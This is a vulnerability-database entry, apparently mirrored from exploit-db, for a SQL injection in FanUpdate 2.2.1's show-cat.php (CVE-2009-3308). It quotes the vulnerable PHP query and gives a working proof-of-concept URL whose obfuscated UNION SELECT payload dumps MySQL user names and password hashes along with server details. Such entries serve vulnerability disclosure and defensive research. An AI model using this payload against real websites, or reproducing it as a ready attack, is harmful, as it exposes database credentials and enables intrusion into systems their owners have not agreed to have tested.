Lucene search
+L

FanUpdate 2.2.1 - 'show-cat.php' SQL Injection

🗓️ 18 Sep 2009 00:00:00Reported by (In)Security RomaniaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 49 Views

FanUpdate 2.2.1 'show-cat.php' SQL Injection vulnerability at insecurity.ro websit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3308
18 Sep 200900:00
circl
cve
CVE
CVE-2009-3308
23 Sep 200910:00
cve
cvelist
Cvelist
CVE-2009-3308
23 Sep 200910:00
cvelist
euvd
EUVD
EUVD-2009-3290
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3308
23 Sep 200912:08
nvd
prion
Prion
Sql injection
23 Sep 200912:08
prion
Author : (In)Security Romania

Website : https://insecurity.ro

Vulnerable script : FanUpdate 2.2.1


- Explanation

See show-cat.php file

-----------------------------------------------------------------------------------------------
if (!isset($listingid)) { exit; }

require_once('blog-config.php');
require_once('functions.php');

$fu =& FanUpdate::instance();
$fu->addOptFromDb();

$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
-----------------------------------------------------------------------------------------------

listingid variable not checked,we can inject our maliciouse SQL code.

- PoC

http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--

# milw0rm.com [2009-09-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01011
49